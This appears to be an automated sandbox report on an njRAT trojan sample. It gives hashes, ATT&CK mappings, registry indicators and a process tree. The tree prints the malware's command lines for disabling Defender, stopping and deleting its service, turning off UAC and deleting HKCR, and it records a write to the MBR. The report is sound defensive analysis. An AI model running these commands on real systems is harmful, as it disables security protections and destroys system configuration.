njrat | 6c1a15aa4e42400c325a364ea2d1e4c91a47c6995ee81f15154caf664c5660e3

Analysis

user interaction
yes
max time kernel
50s
max time network
89s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
16/09/2026, 08:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Payload.exe
Size 55KB
Sample260916-kh6cssss7q
SHA256 6c1a15aa4e42400c325a364ea2d1e4c91a47c6995ee81f15154caf664c5660e3
MD5 c8bab25ab6b415ae87177d1d6435dff7
SHA1 4c202b0be945e9cd4302eb2be53d4a4f985cb42b
SHA512 c3e509488b151d9aaa2234d0a1873317214e19bd57d4a54aa4fb9a695e5b8e7b0bc8669c35cc5a63714e461dffc70f11de9446c7e878243b2b8cf1bbdd220168
SSDEEP 1536:ME0pMDn5NBgyLiOzDtwsNMDRXExI3pmxm:OMDnRxGOzDtwsNMDRXExI3pm
TLSH
T15A431744BFEA5A05E2BC8F3468F645150634AA63F532EB1F48D668EB53327C58C40FE6
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

bootkit defense_evasion discovery execution njrat persistence privilege_escalation trojan

Malware Config

Signatures

Family: njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
4052	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\International\Geo\Nation	Payload.exe
Key value queried	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\International\Geo\Nation	cbeb9ef9660a434abc2f984fd006b98f.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\82631359574a6e0ced3c67853e7677a2.exe	Payload.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\82631359574a6e0ced3c67853e7677a2.exe	Payload.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 1 IoCs

pid	Process
2368	cbeb9ef9660a434abc2f984fd006b98f.exe

Modifies system executable filetype association 2 TTPs 34 IoCs

persistence

Modify Registry

T1112

Change Default File Association

T1546.001

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\open\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\print	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shell\open\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shell\open	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shellex\DropHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\runasuser\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\DropHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\ContextMenuHandlers\Compatibility	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\ContextMenuHandlers	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\DefaultIcon	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\ContextMenuHandlers\Compatibility	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runasuser	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\DropHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\{8895b1c6-b41f-4c1c-a562-0d564250836f}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shell	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\DefaultIcon	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runas\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\runasuser	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\ContextMenuHandlers\PintoStartScreen	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\open	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shellex	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\edit\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runas	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runasuser\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\comfile\DefaultIcon	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\ContextMenuHandlers	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\edit	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\print\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\runas	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\runas\command	reg.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\82631359574a6e0ced3c67853e7677a2 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Payload.exe\" .."	Payload.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\82631359574a6e0ced3c67853e7677a2 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Payload.exe\" .."	Payload.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4052	powershell.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	cbeb9ef9660a434abc2f984fd006b98f.exe

Launches sc.exe 3 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4740	sc.exe
4780	sc.exe
3428	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2068	cmd.exe
1652	cmd.exe
3848	cmd.exe
3104	cmd.exe
1044	cmd.exe
1944	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 15 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Payload.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cbeb9ef9660a434abc2f984fd006b98f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Payload.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\AppX4ra53nzs9xcdyxf1wgcp31xefscv1jnk\Shell\open	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Diagnostic.Cabinet\shell\open\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\ExcelChart\NotInsertable	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\.rw2	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\AppX4ra53nzs9xcdyxf1wgcp31xefscv1jnk\Shell	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0006F051-0000-0000-C000-000000000046}\InprocServer32\15.0.0.0	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{9C24A977-0951-451A-8006-0E49BD28CD5F}\Instance	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\ContentDirectory.container.album.musicAlbum	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Excel.Template.8\shell\Edit\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\ExcelPlugInShell.MapEdp	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.asa	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\aspfile	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CertificateAuthority.GetConfig\CurVer	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00020906-0000-0000-C000-000000000046}\LocalServer32	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{41E1FADF-C62D-4DF4-A0A2-A3BEB272D8AF}\InprocHandler32	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Diagnostic.Resmon.Config\shell\open\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.wbcat	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\AppXak1hygz1tpjjnxhr1pwtcgnkpr24r5e7\Shell\open\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00020803-0000-0000-C000-000000000046}\Conversion\ReadWritable\Main	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{74A13FDD-9BCF-4229-9CAB-0079A5E17A25}\Programmable	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Excel.Chart.8\DocObject	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\Microsoft.MicrosoftEdge_44.19041.1266.0_neutral__8wekyb3d8bbwe\ActivatableClassId\Windows.Networking.BackgroundTransfer.Internal.Ne	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.rle\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.xml	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{048EB43E-2059-422F-95E0-557DA96038AF}\DataFormats\GetSet\3	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Excelhtmltemplate\DefaultIcon	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.xlsb\ShellEx\{BB2E617C-0920-11d1-9A0B-00C04FC2D6C1}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CID\5487f4fb-b126-4660-b0f9-57fdf1b0a972\Clsid	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{331B60DA-9E90-4DD0-9C84-EAC4E659B61F}\ProgID	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\.3gpp\OpenWithProgids	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.msu	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{912ABC52-36E2-4714-8E62-A8B73CA5E390}\MiscStatus	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.xlc	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00020820-0000-0000-C000-000000000046}\DataFormats	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3050F26F-98B5-11CF-BB82-00AA00BDCE0B}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{8685C4A9-D0E4-444C-87A0-D9FB858235A7}\InProcServer32	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\DeviceDisplayObject\InterfaceClass\{884b96c3-56ef-11d1-bc8c-00a0c91405dd}\Shell\Regional\command	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Extensions\ContractId\Windows.AppService\PackageId\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_x64__8wekyb3d8bbwe\ActivatableClassId\Microsoft.MicrosoftOfficeHub.AppX1vyjcpf0vmyd497dz0f1z	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.wdp\ShellEx\{BB2E617C-0920-11d1-9A0B-00C04FC2D6C1}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{18A06B6B-2F3F-4E2B-A611-52BE631B2D22}\Conversion	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{BDEADEF5-C265-11D0-BCED-00A0C90AB50F}\Version	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CA8A9780-280D-11CF-A24D-444553540000}\DocObject	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Excel.SheetMacroEnabled.12\shell\ViewProtected\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AcroExch.XFDFDoc\shell\Print\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00024505-0016-0000-C000-000000000046}\ProgID	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{7CD069A1-50AA-11D1-B8F0-00A0C9259304}\ProgID	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.m4b\ShellEx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.search-ms	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AppID\{A6B716CB-028B-404D-B72C-50E153DD68DA}	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\AppXws790r9w5rbb9w3p8p4qb2n97s5h6pc3\DefaultIcon	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CDO.NNTPEarlyConnector\CurVer	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B801CA65-A1FC-11D0-85AD-444553540000}\DataFormats\GetSet	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\ECMAScript\OLEScript	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Excel.Sheet.5	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\.heic	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AADJCSP	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3050F26F-98B5-11CF-BB82-00AA00BDCE0B}\InprocServer32	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3050F27B-98B5-11CF-BB82-00AA00BDCE0B}\InprocServer32	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{AA14F9C9-62B5-4637-8AC4-8F25BF29D5A7}\LocalServer32	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{da4e3da0-d07d-11d0-bd50-00a0c911ce86}\Instance\{FD0A5AF4-B41D-11d2-9C95-00C04F7971E0}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\DeviceUpdate	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Excel.Sheet.12\shell\ViewProtected\ddeexec	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.m4a\ShellEx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00020803-0000-0000-C000-000000000046}\TypeLib	reg.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3868	reg.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4052	powershell.exe
4052	powershell.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	4052	powershell.exe
Token: SeDebugPrivilege	3316	Payload.exe
Token: 33	3316	Payload.exe
Token: SeIncBasePriorityPrivilege	3316	Payload.exe
Token: 33	3316	Payload.exe
Token: SeIncBasePriorityPrivilege	3316	Payload.exe
Token: 33	3316	Payload.exe
Token: SeIncBasePriorityPrivilege	3316	Payload.exe
Token: 33	3316	Payload.exe
Token: SeIncBasePriorityPrivilege	3316	Payload.exe
Token: SeDebugPrivilege	2368	cbeb9ef9660a434abc2f984fd006b98f.exe
Token: 33	3316	Payload.exe
Token: SeIncBasePriorityPrivilege	3316	Payload.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 3316 wrote to memory of 1044	3316	Payload.exe	91
PID 1044 wrote to memory of 4052	1044	cmd.exe	93
PID 3316 wrote to memory of 1944	3316	Payload.exe	94
PID 1944 wrote to memory of 4740	1944	cmd.exe	96
PID 3316 wrote to memory of 2068	3316	Payload.exe	97
PID 2068 wrote to memory of 4780	2068	cmd.exe	99
PID 3316 wrote to memory of 1652	3316	Payload.exe	100
PID 1652 wrote to memory of 3428	1652	cmd.exe	102
PID 3316 wrote to memory of 3848	3316	Payload.exe	103
PID 3848 wrote to memory of 3868	3848	cmd.exe	105
PID 3316 wrote to memory of 2368	3316	Payload.exe	111
PID 2368 wrote to memory of 3104	2368	cbeb9ef9660a434abc2f984fd006b98f.exe	113
PID 3104 wrote to memory of 4252	3104	cmd.exe	115

C:\Users\Admin\AppData\Local\Temp\Payload.exe
"C:\Users\Admin\AppData\Local\Temp\Payload.exe"
1⤵
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3316
- C:\Windows\SysWOW64\cmd.exe
  cmd /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1044
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    - Disables one or more Microsoft Defender components
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4052
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc query windefend
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1944
- - C:\Windows\SysWOW64\sc.exe
    sc query windefend
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4740
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc stop windefend
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2068
- - C:\Windows\SysWOW64\sc.exe
    sc stop windefend
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4780
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete windefend
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1652
- - C:\Windows\SysWOW64\sc.exe
    sc delete windefend
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3428
- C:\Windows\SysWOW64\cmd.exe
  cmd /c reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3848
- - C:\Windows\SysWOW64\reg.exe
    reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:3868
- C:\Users\Admin\AppData\Local\Temp\cbeb9ef9660a434abc2f984fd006b98f.exe
  "C:\Users\Admin\AppData\Local\Temp\cbeb9ef9660a434abc2f984fd006b98f.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Writes to the Master Boot Record (MBR)
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2368
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /k reg delete HKCR /f
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3104
  - - C:\Windows\SysWOW64\reg.exe
      reg delete HKCR /f
      4⤵
      Modifies system executable filetype association
      System Location Discovery: System Language Discovery
      Modifies registry class
      PID:4252

C:\Users\Admin\AppData\Local\Temp\Payload.exe
"C:\Users\Admin\AppData\Local\Temp\Payload.exe" ..
1⤵
- System Location Discovery: System Language Discovery
PID:2556

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x48c 0x500
1⤵
PID:2872

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Component Object Model Hijacking

T1546.015

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Component Object Model Hijacking

T1546.015

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_tz0ol2vr.qof.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tz0ol2vr.qof.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

cbeb9ef9660a434abc2f984fd006b98f.exe

Path C:\Users\Admin\AppData\Local\Temp\cbeb9ef9660a434abc2f984fd006b98f.exe
Size 14KB
SHA256 5906dc7c3cd938b874cfb12cd9a14a6e72116c31385f4584f997f1544e3da492
MD5 13e1f4bc5b116e4ec87f055715563193
SHA1 9eea7e9fce555b6c35730ec3dba29a13921f53f1
SHA512 a53f446a2063684e401ad8c7da70ea7be4d23a2043341d9ab280dd36a1e91ef43b11ff510405125b957d88f5d9c7c00edb35977d8fe512e6fd0236f6447a030f
SSDEEP 384:PX//sbBzFbtTLqr/tS2Ab9FhV0beOrptYcFwVc03K:PXCbgSn1IeAtYcFwVc6K
TLSH
T143620A4AE7944275D5BA027319B3A745CB32E22B8D47DB6A3CCCA05E7FA32064733395
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2368-61-0x0000000005DD0000-0x0000000006374000-memory.dmp

Download

memory/2368-60-0x0000000005780000-0x0000000005812000-memory.dmp

Download

memory/2368-59-0x0000000000EC0000-0x0000000000ECA000-memory.dmp

Download

memory/3316-1-0x0000000074A22000-0x0000000074A24000-memory.dmp

Download

memory/3316-0-0x0000000000960000-0x0000000000970000-memory.dmp

Download

memory/3316-20-0x0000000074A22000-0x0000000074A24000-memory.dmp

Download

memory/3316-17-0x0000000000960000-0x0000000000970000-memory.dmp

Download

memory/4052-22-0x0000000007750000-0x0000000007782000-memory.dmp

Download

memory/4052-35-0x0000000008100000-0x000000000877A000-memory.dmp

Download

memory/4052-8-0x0000000006130000-0x0000000006196000-memory.dmp

Download

memory/4052-18-0x00000000067A0000-0x00000000067BE000-memory.dmp

Download

memory/4052-19-0x00000000067D0000-0x000000000681C000-memory.dmp

Download

memory/4052-7-0x00000000060C0000-0x0000000006126000-memory.dmp

Download

memory/4052-21-0x000000007F980000-0x000000007F990000-memory.dmp

Download

memory/4052-6-0x0000000005F20000-0x0000000005F42000-memory.dmp

Download

memory/4052-33-0x0000000006D70000-0x0000000006D8E000-memory.dmp

Download

memory/4052-32-0x0000000002EE0000-0x0000000002EF0000-memory.dmp

Download

memory/4052-31-0x0000000002EE0000-0x0000000002EF0000-memory.dmp

Download

memory/4052-23-0x000000006EC40000-0x000000006EC8C000-memory.dmp

Download

memory/4052-34-0x0000000007990000-0x0000000007A33000-memory.dmp

Download

memory/4052-16-0x00000000061A0000-0x00000000064F4000-memory.dmp

Download

memory/4052-36-0x0000000007AC0000-0x0000000007ADA000-memory.dmp

Download

memory/4052-37-0x0000000007B30000-0x0000000007B3A000-memory.dmp

Download

memory/4052-38-0x0000000007D40000-0x0000000007DD6000-memory.dmp

Download

memory/4052-39-0x0000000007CC0000-0x0000000007CD1000-memory.dmp

Download

memory/4052-40-0x0000000007CF0000-0x0000000007CFE000-memory.dmp

Download

memory/4052-41-0x0000000007D00000-0x0000000007D14000-memory.dmp

Download

